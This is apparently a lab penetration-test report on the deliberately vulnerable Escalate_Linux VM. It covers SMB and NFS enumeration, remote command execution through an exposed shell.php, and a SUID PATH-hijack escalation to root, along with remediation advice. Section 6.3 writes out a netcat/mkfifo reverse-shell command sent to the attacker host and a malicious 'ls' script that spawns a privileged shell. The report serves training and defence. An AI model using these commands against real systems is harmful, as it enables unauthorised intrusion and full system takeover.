DELSTRIKE
SECURITY

OFFENSIVE SECURITY · PENETRATION TEST REPORT

ESCALATE_LINUX

Post-exploitation and privilege-escalation assessment of a deliberately vulnerable Linux environment

PREPARED BY
DELSTRIKE Security

ENGAGEMENT TYPE
Black-box · Lab

TARGET HOST
Escalate_Linux (10.10.1.21)

FRAMEWORKS
OWASP · MITRE ATT&CK · CVSS v3.1

CONFIDENTIAL

EXECUTIVE OVERVIEW

Abstract

This report documents an offensive security assessment of **Escalate_Linux**, a purposely vulnerable Linux virtual machine used as a controlled laboratory for building skills in post-exploitation and privilege escalation. The exercise reproduces the full lifecycle of a professional penetration test in a safe, isolated environment, without compromising production systems.

Throughout the engagement each phase of a structured penetration-testing process was executed in sequence: environment setup, reconnaissance, scanning, exploitation, privilege escalation, and final analysis. Every stage is documented using industry-standard tooling and supported by widely recognised frameworks — OWASP, MITRE ATT&CK, and CVSS v3.1 — for vulnerability classification and risk assessment.

The approach integrates theoretical knowledge with practical experience in a realistic technical environment, fostering a deep understanding of Linux internals and a critical perspective on system security. The goal is not only to demonstrate technical capability, but also the ability to communicate findings, propose actionable remediation, and simulate the full lifecycle of a professional security audit. The outcome is a comprehensive technical report accompanied by an accessible summary for non-technical stakeholders.

5	4	RCE	root
EXPOSED SERVICES	KEY WEAKNESSES	INITIAL ACCESS	FINAL PRIVILEGE

KEYWORDS

Cybersecurity · Linux · Privilege escalation · Post-exploitation · Vulnerability analysis · Vulnerable virtual machine · CVSS · Ethical hacking

CONTENTS

Table of Contents

1 Introduction & Objectives 1

2 Analysis Scenario 2

3 Preparation Phase 3

4 Reconnaissance Phase 4

5 Scanning Phase 5

6 Exploitation Phase 6

6.1 Samba (SMB) enumeration 6

6.2 NFS / rpcbind exposure 7

6.3 Apache HTTPD 2.4.29 — RCE & escalation 8

7 Analysis Phase 9

8 Report (Methodology, Findings, Remediation) 10

9 Final Conclusion 13

10 Annexes 14

References 16

1 Introduction & Objectives

1.1 Introduction

The accelerated growth of information technology has turned digital infrastructure into a critical backbone for companies, governments, and citizens alike. That same transformation has significantly widened the exposure surface to increasingly sophisticated threats. In this context offensive security has established itself as a fundamental discipline: it offers a proactive view of how an attacker could compromise a system, identify structural weaknesses, and anticipate exploitation vectors that might otherwise go unnoticed.

This assessment adopts that offensive mindset, practically addressing the analysis of vulnerabilities associated with privilege-escalation techniques on Linux operating systems. The laboratory environment used is the **Escalate_Linux** virtual machine, designed specifically for educational purposes to simulate a realistic post-exploitation scenario. This vulnerable platform bundles a collection of misconfigurations, poorly written binaries, and insecure services, making it an ideal setting for the controlled experimentation of attacks aimed at compromising the system and obtaining elevated privileges.

The project develops a complete pentesting exercise, structured in successive phases: reconnaissance, scanning, exploitation, escalation, and analysis. The objective is not only to identify critical weak points, but also to evaluate their real impact, propose concrete remediation, and present the findings in a professional technical report aimed at both technical leads and executive profiles. To ensure methodological rigour, the analysis relies on industry-accepted reference frameworks — OWASP, MITRE ATT&CK, and the CVSS v3.1 scoring system — to structure and prioritise detected vulnerabilities according to their severity and exploitation context.

1.2 General Objective

Apply, in an integrated manner, offensive security knowledge to develop a complete analysis of a vulnerable Linux environment, focusing on the identification, exploitation, and evaluation of privilege-escalation techniques, together with the production of security recommendations and professional documentation of the results.

1.3 Specific Objectives

- Configure a secure, functional, and reproducible technical laboratory for the controlled execution of intrusion tests against Linux systems.
- Systematically execute the phases of a penetration test (reconnaissance, scanning, exploitation, escalation, analysis, and reporting).
- Detect and categorise privilege-escalation vulnerabilities on the Escalate_Linux machine, classifying them by criticality and technical complexity.
- Apply vulnerability-analysis standards such as CVSS, and lean on frameworks such as OWASP and MITRE ATT&CK to contextualise findings.
- Propose realistic corrective measures aligned with security best practices, aimed at mitigating the exploited vectors.
- Produce a complete technical report and an accessible executive version oriented toward decision-making in a professional context.

2 Analysis Scenario

2.1 General Description of the Environment

The vulnerability analysis is carried out in a simulated laboratory environment, configured specifically for offensive-security practice under controlled conditions and with no connection to external networks. The infrastructure consists of two virtual machines deployed on VirtualBox, configured on a closed host-only network that prevents any communication with the outside. This architecture guarantees the safety of the environment and allows attacks to be reproduced without compromising the integrity of other systems.

2.2 Attacker Machine

The machine used as the attacking system is a Kali Linux rolling-release distribution, designed for information-security audits. The technical specifications are as follows:

Operating system	Kali GNU/Linux (kali-rolling) x86_64
Desktop environment	Xfce 4.20
Kernel	6.12.25-amd64
Package manager	APT (dpkg), 2,800+ packages installed
Default shell	Zsh 5.9
Assigned memory	2 GB (1.31 GB in use during the analysis)
Internal IP	10.0.2.20
Virtualisation	VirtualBox

This machine ships with a broad set of pre-installed security tools, including LinPEAS, LinEnum, nmap, netcat, and various enumeration and exploitation utilities.

2.3 Victim Machine

The target of the analysis is **Escalate_Linux**, a Linux distribution intentionally built to be vulnerable for educational purposes. It presents multiple privilege-escalation vectors and behaves as a realistic environment for post-exploitation practice. Preliminary reconnaissance detected the following characteristics:

Internal IP	10.10.1.21
Device type	General-purpose host
Detected OS	Linux kernel 3.x / 4.x
Identified CPE	cpe:/o:linux:linux_kernel:3, cpe:/o:linux:linux_kernel:4
Kernel range	Linux 3.2 – 4.14
Network distance	1 hop (directly connected to the attacker)

This machine was designed to include multiple privilege-escalation techniques, both vertical and horizontal, and presents insecure configurations addressed in later phases.

3 Preparation Phase

Before beginning the vulnerability analysis, a preparation phase was carried out to ensure the laboratory environment was correctly configured and that the tools required for the audit were available and operational. This stage is essential to guarantee the reliability of the analysis and to minimise errors or interference during later phases.

3.1 Network Configuration

The environment consists of two virtual machines connected through a closed host-only network, ensuring they can communicate with each other without access to external networks. This configuration avoids interference from unrelated traffic, provides full control of the environment, and ensures the tests do not affect other devices or services.

Attacker external IP (Kali Linux)	10.0.2.15
Attacker internal IP (Kali Linux)	10.10.1.20
Victim internal IP (Escalate_Linux)	10.10.1.21

Connectivity between both machines was verified with commands such as `ping`, `nmap -sn`, and `netcat`, confirming established communication in both directions.

3.2 Attacker Machine Setup

The attacker machine is a Kali Linux rolling-release distribution equipped with a broad set of analysis and exploitation tools. Before starting, the system packages were updated (`apt update && apt upgrade`) and the operation of key tools was verified.

3.3 Victim Machine Conditioning

The victim machine, Escalate_Linux, was checked to confirm correct boot and the availability of basic system services. Connectivity with the attacker machine was confirmed for a proper audit. No modifications were made that would alter the machine's intended behaviour.

3.4 Ethical and Safety Considerations

> **SCOPE & ETHICS**
>
> The entire environment was deployed in an isolated virtual network, with no connection to the Internet or corporate networks, in line with professional ethics and audit-safety principles. This approach guarantees that all ethical-hacking activities are carried out in a controlled, safe, and legal manner, consistent with the educational objectives of the project.

4 Reconnaissance Phase

Before performing active scans, an initial reconnaissance phase validated connectivity between the environment's machines and obtained a preliminary view of the target system. This stage confirms the environment is functional and establishes the first indications of the operating-system type and exposed services, without generating aggressive interaction with the analysed host.

4.1 Connectivity Verification

The `ping` command was used to check the availability of the victim machine (10.10.1.21) from the attacker (Kali Linux):

```
$ ping 10.10.1.21
```

▣ Figure 1 — ping 10.10.1.21

The response was positive, with low latency (~1.7 ms), confirming that both machines were correctly connected within the previously configured closed network.

4.2 Basic Operating-System Identification

A passive OS analysis was performed using the TTL observed in the response packets:

```
$ ping -c 1 10.10.1.21
```

▣ Figure 2 — ping -c 1 10.10.1.21

The returned TTL value was 64, which is characteristic of Linux-based systems. In addition, `traceroute` was used to verify the network distance between both devices:

```
$ traceroute 10.10.1.21
```

▣ Figure 3 — traceroute 10.10.1.21

The result showed the victim machine to be 1 hop away, confirming its direct connection on the same virtual network.

4.3 Reconnaissance Conclusion

The information gathered in this phase confirmed that the victim system is reachable and responds in real time, and that it is a Linux operating system. With these preliminary data validated, the process advanced to the next stage: service and version scanning with specialised tools.

5 Scanning Phase

The first step within the reconnaissance effort was to identify active services and their versions on the victim machine. Nmap — one of the most widely used tools in cybersecurity for network scanning and service detection — was used for this purpose.

5.1 Service Scanning

The following command was executed:

```
$ sudo nmap -sC -sV -T4 -Pn -oN escalate_nmap.txt 10.10.1.21
```

▣ Figure 4 — sudo nmap -sC -sV -T4 -Pn 10.10.1.21

The `-sC` option runs the default NSE scripts for detailed service information. `-sV` enables version detection, essential to identify associated vulnerabilities. `-T4` accelerates the scan without overly compromising stability, while `-Pn` avoids sending ICMP packets — useful when the host blocks pings. Finally, `-oN` saves the result to a file, aiding later documentation and analysis. The complete output is included in Annex 10.1.

5.2 Scanning Conclusion

The results allow the next phase (exploitation) to be planned based on:

- Specific services with vulnerable versions.
- Cross-references in CVE databases.
- Tools prepared for the controlled exploitation of each vector.

The exploitation approach was progressive, starting with lower-impact vectors before testing the most critical ones, prioritising those that could allow privilege escalation, remote code execution, or extraction of system credentials.

6 Exploitation Phase

6.1 Samba (SMB) Exploitation

During the analysis, ports 139 and 445 were found open, confirming the presence of the Samba service (smbd) exposed to the network. This service — used to share files and printers in mixed Linux/Windows environments — can represent a significant risk when misconfigured. Unauthenticated enumeration was performed with specialised tools to collect sensitive information such as usernames, groups, password policies, and accessible shares. Although no share could be accessed directly without credentials, the information collected was considerable: multiple local accounts were enumerated, domain SIDs were obtained, weak security policies were revealed, and evidence of a protected share (`liteshare`) was found. These data help profile the system architecture, identify weaknesses in password management, and prepare possible future brute-force or lateral-movement attacks. The exposure of this internal information without authentication is a configuration malpractice that, combined with other vectors, can lead to partial or total control of the target.

6.1.1 TOOLS USED

- **enum4linux** — unauthenticated enumeration of users, groups, password policies, and shares.
- **smbclient** — listing accessible SMB shares on the network without credentials.

6.1.2 COMMANDS EXECUTED

```
# General enumeration with enum4linux
$ enum4linux -a 10.10.1.21

# List SMB shares with smbclient (-N omits credentials)
$ smbclient -L //10.10.1.21/ -N
```

6.1.3 RESULT

The tools obtained valuable information about the victim's SMB environment without authentication. `enum4linux` identified multiple valid system users (user1, user2, …, user8, nobody, None) along with standard Windows/Samba groups such as Administrators, Guests, Users, and Power Users. Domain and per-account SIDs were also extracted, allowing the internal security structure to be mapped. For shares, `smbclient` revealed `liteshare` (authentication required) and the standard `IPC$` resource. Although the main share was not accessible, the ability to establish an anonymous SMB connection already constitutes an improper enumeration vector. A lax password policy was also detected: minimum length of 5 characters, no complexity requirements, and no forced expiry beyond 30 days.

▣ Figure 5 — Partial enum4linux output | Figure 6 — smbclient -L listing the shares

6.1.4 IMPACT ASSESSMENT

The ability to enumerate users, groups, and internal SMB configuration without authentication represents an important weakness. Even without direct access to shares, this information leak enables more specific and effective attacks — brute force against valid users, targeted phishing, or future exploitation of shares such as `liteshare`. In real environments this level of exposure can facilitate lateral movement if an account is compromised or if reused credentials are discovered. From a defensive perspective, the mere possibility of

establishing anonymous connections to the SMB service should be considered unacceptable on network-exposed systems.

6.2 NFS / rpcbind Exploitation

The victim was found to be running the `rpcbind` service, responsible for mapping RPC-based services such as NFS. Enumerating shares with `showmount` revealed that the directory `/home/user5` was exported without any restriction, allowing any system on the same network to mount that resource remotely without authentication. This is a critical configuration vulnerability: it exposes a user's personal — and potentially sensitive — files, including scripts, histories, configuration files, and possible credentials. Although the directory was not mounted or modified, the exposure allowed binaries inside it to be identified, including `script`, which would later be key in the privilege-escalation chain.

6.2.1 TOOLS USED

- **rpcinfo** — query active RPC services on the remote host.
- **showmount** — list directories exported by the NFS service.

6.2.2 COMMANDS EXECUTED

```
# Check active RPC/NFS services
$ rpcinfo -p 10.10.1.21

# Enumerate NFS exports
$ showmount -e 10.10.1.21

# Mount the resource
$ sudo mount -t nfs 10.10.1.21:/home/user5 /mnt/nfs_user5
$ ls -la /mnt/nfs_user5
```

6.2.3 RESULT

The NFS analysis revealed a critically vulnerable configuration: `showmount` showed that `/home/user5` was being exported with no restriction, allowing access by any network client without authentication or IP control. This was confirmed by `rpcinfo -p`, which showed all services required for NFS (mountd, nfs, nlockmgr, and nfs_acl) active. Read access was sufficient to identify an executable file named `script` with the SUID bit set inside the exported directory — information that proved key to the subsequent privilege escalation.

▣ Figures 7–9 — rpcinfo -p, showmount -e (global export of /home/user5), and mount output

6.2.4 IMPACT ASSESSMENT

Exporting a user directory with no access restriction is a critical security failure. It allows an attacker to directly reach sensitive information such as SSH keys, command histories, scripts, configuration files, or stored credentials. If the attacker has write access, malicious code could be inserted into files that are later executed automatically, facilitating privilege escalation or persistence. This kind of misconfiguration exposes the confidentiality, integrity, and availability of the affected system.

6.3 Apache HTTPD 2.4.29 Exploitation

During analysis of the Apache HTTPD 2.4.29 service exposed on port 80, the resource `/shell.php` was identified; it allowed arbitrary command execution through the `cmd` parameter without any authentication, confirming a remote-code-execution (RCE) vulnerability. Its operation was verified with `shell.php?cmd=whoami`,

returning the user **user6**. From this initial access a reverse shell was established using a combination of `mkfifo` and `netcat`, providing an interactive session as user6. Inside the system, `find / -perm -4000 -type f 2>/dev/null` identified SUID binaries. The binary `/home/user5/script` was found to execute `ls` without an absolute path; exploiting this, a malicious `ls` script was created in `/tmp`, the `PATH` environment variable was pointed first to `/tmp`, and executing the binary yielded a root shell — completing full compromise and privilege escalation.

6.3.1 TOOLS USED

Gobuster (hidden path discovery) · **Web browser** (interact with /shell.php) · **curl** (validate RCE) · **netcat** (reverse shell) · **mkfifo** (I/O piping) · **find** (SUID search) · **strings** (binary analysis) · **bash** (scripting and environment manipulation).

6.3.2 COMMANDS EXECUTED

```
# Initial RCE verification
$ curl "http://10.10.1.21/shell.php?cmd=whoami"

# Reverse shell (URL-encoded, via browser)
http://10.10.1.21/shell.php?cmd=mkfifo /tmp/foo; nc 10.10.1.20 2600 </tmp/foo | /bin/bash
1>/tmp/foo

# Listener on Kali
$ nc -lvnp 2600

# Search for SUID binaries
$ find / -perm -4000 -type f 2>/dev/null

# Inspect suspicious binary
$ strings /home/user5/script

# Craft malicious ls and hijack PATH
$ echo -e '#!/bin/bash\n/bin/bash -p' > /tmp/ls
$ chmod +x /tmp/ls
$ export PATH=/tmp:$PATH

# Execute the vulnerable SUID binary → root
$ /home/user5/script
```

6.3.3 RESULT

A remote shell was obtained as user6, validating exploitation of `shell.php` via remote command execution. Privileges were then escalated to root by exploiting the SUID binary `/home/user5/script` through PATH manipulation.

▣ Figures 10–15 — whoami as user6, nc listener, SUID find, script creation, PATH export, and user verification

6.3.4 IMPACT ASSESSMENT

> **CRITICAL — FULL COMPROMISE**
>
> Exploiting this vulnerability granted complete access to the victim, starting from a single poorly protected PHP file. The combination of an unrestricted RCE with a misconfigured SUID binary resulted in total privilege escalation. With only basic access to the web interface it was possible to fully compromise the system.

7 Analysis Phase

Having completed the reconnaissance, scanning, and exploitation phases, a technical and contextual analysis of the findings was performed. This phase transforms technical findings into a structured risk and vulnerability assessment and draws key conclusions about the exposure of the compromised system, its potential impact, and the maturity of its security configurations.

7.1 Attack-Surface Analysis

The first relevant finding was the broad attack surface exposed by the machine. The combination of services listening on ports 80 (HTTP), 111 (RPC), 2049 (NFS), and 139/445 (SMB) reveals an architecture oriented toward compatibility and resource sharing, but configured without access restrictions or segmentation. This lets an attacker choose among multiple entry vectors, maximising the probability of a successful intrusion.

7.2 Unauthenticated RCE in Apache

The initial access point was the exposure of `/shell.php` on the Apache web server, which allowed arbitrary OS commands via the URL `cmd` parameter. This RCE is considered critical because it permits unauthenticated remote execution. It evidences a lack of control in web-environment deployment and a total absence of containment measures such as path allow-listing, input validation, or authentication. The impact is total: execution of any system instruction, access to internal information, installation of backdoors or malware, and — in this case — establishment of a reverse shell, consolidating first remote access as user6.

7.3 Critical NFS Exposure

During RPC/NFS scanning, an unrestricted export of `/home/user5` was detected, with no IP validation or authentication requirement. Technically, any device on the same network can mount this directory as part of its local file system. This is especially critical on Linux, since user directories may contain sensitive files such as SSH keys, automation scripts, configuration files, or even plaintext credentials. Although nothing was written to the resource, its contents were read, revealing a SUID binary (`script`) later used to achieve escalation. Potential impact includes:

- Unauthorised access to private information.
- Possible modification of critical scripts (cronjobs, startup scripts).
- Persistence through binaries placed in executable directories.
- Lateral escalation if the directory contains reused credentials.

INFORMATION LEAKAGE VIA SMB

The Samba (SMB) service on ports 139 and 445 allowed anonymous connection without authentication. Using `enum4linux` and `smbclient`, detailed information about the internal structure was obtained: full enumeration of local users (user1–user8); permissive password policies (low minimum length, no complexity requirements); group structure and domain SIDs; and the presence of restricted shares (`liteshare`) accessible with authentication. Even without direct access to the shares, this exposure could be used for targeted brute-force attacks, social engineering, or internal reconnaissance in larger environments.

7.4 Privilege Escalation

After obtaining remote access as user6, a local enumeration process began. `find / -perm -4000 -type f` listed SUID binaries, identifying two suspicious candidates:

- `/home/user3/shell` — executed a script controlled by another user (`.script.sh`); modifying it did not result in effective escalation.
- `/home/user5/script` — vulnerable to `$PATH` manipulation, as it executed `ls` without specifying its absolute path.

A malicious `ls` file executing `/bin/bash -p` was created in `/tmp`, and the environment was modified to prepend `/tmp` to `$PATH`. Executing the binary produced a root shell, completing the privilege escalation successfully.

7.5 Combined Risk Assessment

The identified vulnerabilities are not only dangerous individually; together they enable a full compromise chain:

RCE → initial access → NFS → exposes misconfigured binary → SMB → intel for future attacks → SUID → full escalation to root

This scenario evidences a lack of minimum security controls, negligent configuration of critical services, and the absence of network segmentation. It underlines the importance of preventive audits, removing test files, applying the principle of least privilege, and reinforcing access controls at every level. In short, the analysis reflects a system fully compromised by a combination of poor development, deployment, and configuration practices. Remediating these findings is not only necessary but urgent to prevent full compromise in a real-world context.

8 Report

During the security audit of the Escalate_Linux system, several weaknesses were identified that — combined — allowed the environment to be fully compromised. The most critical was the exposure of a web file (`shell.php`) that executed commands without authentication, granting initial access. Other misconfigurations were then leveraged: a user directory shared without control via NFS, poorly written binaries with special permissions, and network services (such as SMB) that revealed internal information without credentials. The analysis was conducted in a controlled, non-destructive manner to demonstrate the real risks these configurations imply.

8.1 Methodology

The audit followed a black-box testing methodology, reproducing the behaviour of an external attacker with no prior knowledge of the system. The phases were:

- **Environment preparation** — attacker (Kali Linux) and victim (Escalate_Linux) connected on a closed NAT network.
- **Reconnaissance** — IP, exposed services, and basic topology identification.
- **Scanning** — detection of open ports, service versions, and potential weak points.
- **Exploitation** — execution of attacks to gain system access.
- **Privilege escalation** — gaining root access by abusing misconfigured binaries.
- **Evidence & documentation** — capture of screenshots and logs.
- **Final technical and executive report.**

Industry-standard tools were used, including nmap, enum4linux, gobuster, showmount, netcat, nikto, and find, among others.

8.2 Vulnerabilities

Critical vulnerabilities were identified across several vectors of the Escalate_Linux system, enabling remote access and subsequent escalation to root. These span application-level flaws, insecure network-service configurations, and incorrect file permissions. Their effective exploitation chained attacks from a remote command execution (RCE) to full system takeover. Each vulnerability was analysed and cross-referenced against public CVE databases. The detected vulnerabilities were evaluated according to the CVSS v3.1 standard, which assigns a severity score between 0 and 10 based on impact to confidentiality, integrity, and availability, technical complexity of exploitation, privileges required, and whether user interaction is needed.

Service / Vector	Version	CVE	Technical description	Status	CVSS
Apache HTTPD	2.4.29	CVE-2017-15715	Access/Rewrite rule bypass; allows access to restricted files under certain conditions.	Not directly exploited	8.1 High
Samba (SMB)	3.x – 4.x	CVE-1999-0519	Allows enumeration of users and groups without authentication.	Exploited (enumeration)	5.0 Medium
NFS export (no control)	Config.	CVE-1999-0629	NFS export available without IP restriction or authentication.	Used (read)	7.5 High

Service / Vector	Version	CVE	Technical description	Status	CVSS
PHP shell (shell.php)	Custom app	CVE-2017-9841 (ref.)	RCE via vulnerable parameter in PHP file (e.g. eval() without sanitisation).	Exploited (initial access)	9.8 Critical
SUID binary (/home/user5/script)	Config.	—	SUID binary invoking `ls` without absolute path; vulnerable to PATH hijacking → root.	Exploited (escalation)	9.3 Critical

Table 1 — Service versions and associated CVEs (CVSS v3.1 scores indicative)

8.3 Evidence

The following captures support the documented process (visual references):

- ▣ Figure 16 — nmap output: open ports and service versions on the target.
- ▣ Figures 17–20 — RCE via shell.php, reverse shell via Netcat, user6 confirmation, SUID binary listing.
- ▣ Figures 21–28 — NFS: share verification, mount, listing, executable search, ownership check, local copy, permission change, and script read.
- ▣ Figures 29–32 — SMB: enum4linux output, smbclient -L, crackmapexec test (user1:user1 possible), CIFS mount denied.

8.4 Technical Remediation Recommendations

> **REMEDIATION**
>
> Remove any test or development file — such as `shell.php` — before putting a server into production, and restrict access to sensitive PHP files through authentication and input validation. NFS exports must be limited to trusted IP addresses, with parameters such as `root_squash` enabled to reduce escalation risk. The SMB service must disable anonymous connections and avoid exposing users, groups, or internal policies without authentication. Finally, audit SUID binaries, removing unnecessary or poorly written ones — particularly those invoking commands without absolute paths — to prevent privilege-escalation techniques like the ones observed here.

8.5 Proposed Action Plan

The action plan contemplates short- and medium-term interventions, prioritised by the risk of each finding. The most urgent actions involve the immediate removal of the vulnerable `shell.php` file and a complete review of the Apache server configuration. Next, NFS exports must be restricted to avoid global access to personal directories, and permissions and controls on SUID binaries must be reviewed. In parallel, the Samba configuration must be reviewed to disable anonymous access and protect internal data currently enumerable without authentication. These tasks should be executed jointly by the web-development, systems-administration, and IT-security teams, guaranteeing not only mitigation of current vectors but also the implementation of preventive controls and hardening policies to avoid future exposures.

8.6 Conclusion

The audited system presented critical vulnerabilities that, combined, enabled a complete exploitation chain — from remote command execution to administrator (root) privileges. Most of the detected flaws originate in poor configuration practices and the absence of basic security controls. The proposed technical solutions should be applied immediately, and periodic audits performed to ensure these weaknesses do not reappear. The service-deployment procedure should also be reviewed, establishing minimum security controls before exposing any component to the network. This report is designed as a reference to plan concrete improvement actions and should be shared with the technical leads of each area involved in the system's infrastructure.

9 Final Conclusion

This assessment represented far more than a simple technical exercise; it was a comprehensive, applied experience in which advanced offensive-security knowledge was put into practice in a realistic, controlled, and challenging environment. Through the analysis of the vulnerable Escalate_Linux machine, the full lifecycle of an attack against Linux servers was accurately simulated — from reconnaissance of exposed services to obtaining administrator-level access.

Each phase required planning, critical thinking, and the rigorous application of widely accepted methodologies such as CVSS, OWASP, and MITRE ATT&CK. The executed exploitation chain — a remote command execution via Apache, the exposure of critical resources via NFS, and privilege escalation through a misconfigured SUID binary — demonstrated how multiple minor flaws can combine to produce a total system compromise. This practice underlines the importance of understanding security as an ecosystem: protecting a single vector is not enough if others remain unattended.

From a professional standpoint, the work reinforced not only technical skills but also communicative and strategic ones. Translating complex findings into a clear, decision-oriented report is a differentiating value in a cybersecurity professional. The exercise also reaffirmed the value of continuing to deepen expertise in offensive security and vulnerability analysis — a discipline in constant evolution. Ultimately, this work demonstrates not just the ability to identify and exploit vulnerabilities, but also the maturity to propose solutions, communicate risk effectively, and contribute to strengthening the security of real infrastructures.

— END OF ASSESSMENT —

10 Annexes

10.1 Complete NMAP Output

```
# Nmap 7.95 scan initiated as: nmap --privileged -sC -sV -T4 -Pn -oN escalate_nmap.txt 10.10.1.21
Nmap scan report for 10.10.1.21
Host is up (0.0019s latency).
Not shown: 995 closed tcp ports (reset)

PORT     STATE SERVICE      VERSION
80/tcp   open  http         Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
111/tcp  open  rpcbind      2-4 (RPC #100000)
| rpcinfo:
|   program version  port/proto  service
|   100000  2,3,4    111/tcp     rpcbind
|   100000  2,3,4    111/udp     rpcbind
|   100003  3,4      2049/tcp    nfs
|   100003  3        2049/udp    nfs
|   100005  1,2,3    42315/tcp   mountd
|   100021  1,3,4    34019/tcp   nlockmgr
|_  100227  3        2049/tcp    nfs_acl
139/tcp  open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn  Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
2049/tcp open  nfs          3-4 (RPC #100003)
MAC Address: 08:00:27:88:8E:43 (Oracle VirtualBox virtual NIC)
Service Info: Host: LINUX

Host script results:
|  smb-os-discovery:
|    OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|    Computer name: osboxes
|    NetBIOS computer name: LINUX
|_   FQDN: osboxes
|  smb-security-mode:
|    account_used: guest
|_   message_signing: disabled (dangerous, but default)
# Nmap done -- 1 IP address (1 host up) scanned in 21.35 seconds
```

10.2 SUID Binary Analysis (strings /home/user5/script)

Analysis of the vulnerable binary with `strings` confirmed it was compiled from `script.c` and dynamically called `system()` together with `setuid()`/`setgid()` — invoking `ls` without an absolute path, the exact behaviour abused for the PATH-hijacking escalation:

```
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
system
setgid
__libc_start_main
GLIBC_2.2.5
GCC: (Ubuntu 7.3.0-27ubuntu1~18.04) 7.3.0
script.c
system@@GLIBC_2.2.5
```

```
setgid@@GLIBC_2.2.5
setuid@@GLIBC_2.2.5
__cxa_finalize@@GLIBC_2.2.5
```

SOURCES

References

National Vulnerability Database (NVD) — CVE-2017-15715. https://nvd.nist.gov/vuln/detail/CVE-2017-15715

National Vulnerability Database (NVD) — CVE-1999-0519. https://nvd.nist.gov/vuln/detail/CVE-1999-0519

National Vulnerability Database (NVD) — CVE-1999-0629. https://nvd.nist.gov/vuln/detail/CVE-1999-0629

CVE Details — CVE-2017-9841 (reference to vulnerable PHP shells). https://www.cvedetails.com/cve/CVE-2017-9841

OWASP Foundation — Top 10 Vulnerabilities. https://owasp.org/www-project-top-ten/

MITRE ATT&CK Framework — Tactic: Privilege Escalation (TA0004). https://attack.mitre.org/tactics/TA0004/

Nmap Network Scanning Manual. https://nmap.org/book/man.html

Kali Linux Tools Documentation. https://www.kali.org/tools/

DELSTRIKE Security · Offensive Security Laboratory · This document is confidential and intended for authorised recipients only.